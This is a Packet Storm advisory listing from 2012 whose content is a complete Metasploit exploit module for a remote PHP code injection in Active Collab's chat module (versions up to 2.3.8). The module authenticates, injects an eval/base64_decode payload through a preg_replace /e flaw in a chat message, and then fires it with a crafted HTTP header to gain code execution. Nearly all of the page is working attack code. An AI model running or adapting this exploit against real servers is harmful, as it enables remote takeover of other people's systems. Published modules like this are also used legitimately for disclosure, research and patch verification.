Active Collab "chat module" 2.3.8 Remote PHP Code Injection

2012-05-22T00:00:00
ID PACKETSTORM:112916
Type packetstorm
Reporter mr_me
Modified 2012-05-22T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Active Collab "chat module" <= 2.3.8 Remote PHP Code Injection Exploit',  
'Description' => %q{  
This module exploits an arbitrary code injection vulnerability in the chat module  
that is part of Active Collab by abusing a preg_replace() using the /e modifier and  
its replacement string using double quotes. The vulnerable function can be found in  
activecollab/application/modules/chat/functions/html_to_text.php.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'mr_me <steventhomasseeley[at]gmail.com>', # vuln discovery & msf module  
],  
'References' =>  
[  
['OSVDB', '81966'],  
['URL', 'http://www.activecollab.com/downloads/category/4/package/62/releases'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Keys' => ['php'],  
'Space' => 4000,  
'DisableNops' => true,  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [['Automatic',{}]],  
'DisclosureDate' => 'May 30 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URI',[true, "The path to the ActiveCollab installation", "/"]),  
OptString.new('USER',[true, "The username (e-mail) to authenticate with"]),  
OptString.new('PASS',[true, "The password to authenticate with"])  
],self.class)  
end  
  
def check  
  
login_path = "public/index.php?path_info=login&re_route=homepage"  
uri = datastore['URI']  
uri += (datastore['URI'][-1, 1] == "/") ? login_path : "/#{login_path}"  
  
cms = send_request_raw({'uri' => uri}, 25)  
  
uri = datastore['URI']  
uri += (datastore['URI'][-1, 1] == "/") ? 'public/assets/modules/chat/' : '/public/assets/modules/chat/'  
  
chat = send_request_raw({'uri' => uri}, 25)  
  
# cant detect the version here  
if (cms and cms.body =~ /powered by activeCollab/)  
# detect the chat module  
if (chat and chat.code == 200)  
return Exploit::CheckCode::Vulnerable  
end  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
user = datastore['USER']  
pass = datastore['PASS']  
p = Rex::Text.encode_base64(payload.encoded)  
header = rand_text_alpha_upper(3)  
login_uri = datastore['URI']  
login_uri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php?path_info=login' : '/public/index.php?path_info=login'  
  
# login  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => login_uri,  
'vars_post' =>  
{  
'login[email]' => user,  
'login[password]' => pass,  
'submitted' => "submitted",  
}  
}, 40)  
  
# response handling  
if res.code == 302  
if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/)  
acsession = $1  
end  
elsif res.body =~ /Failed to log you in/  
print_error("#{rhost}:#{rport} Could not login to the target application as #{user}:#{pass}")  
elsif res.code != 200 or res.code != 302  
print_error("#{rhost}:#{rport} Server returned a failed status code: (#{res.code})")  
end  
  
# injection  
iuri = datastore['URI']  
iuri += (datastore['URI'][-1, 1] == "/") ? 'index.php' : '/index.php'  
iuri << "?path_info=chat/add_message&async=1"  
phpkode = "{\${eval(base64_decode(\$_SERVER[HTTP_#{header}]))}}"  
injection = "<th>\");#{phpkode}</th>"  
cookies = "ac_ActiveCollab_sid_eaM4h3LTIZ=#{acsession}"  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => iuri,  
'headers' =>  
{  
'cookie' => cookies  
},  
'vars_post' =>  
{  
'submitted' => "submitted",  
'message[message_text]' => injection,  
'message[chat_id]' => "1",  
'message[posted_to_user_id]' => "all"  
}  
}, 25)  
  
euri = datastore['URI']  
euri += (datastore['URI'][-1, 1] == "/") ? 'public/index.php' : '/public/index.php'  
euri << "?path_info=/chat/history/1"  
  
# execution  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => euri,  
'headers' =>  
{  
header => p,  
'cookie' => cookies  
}  
})  
end  
end  
`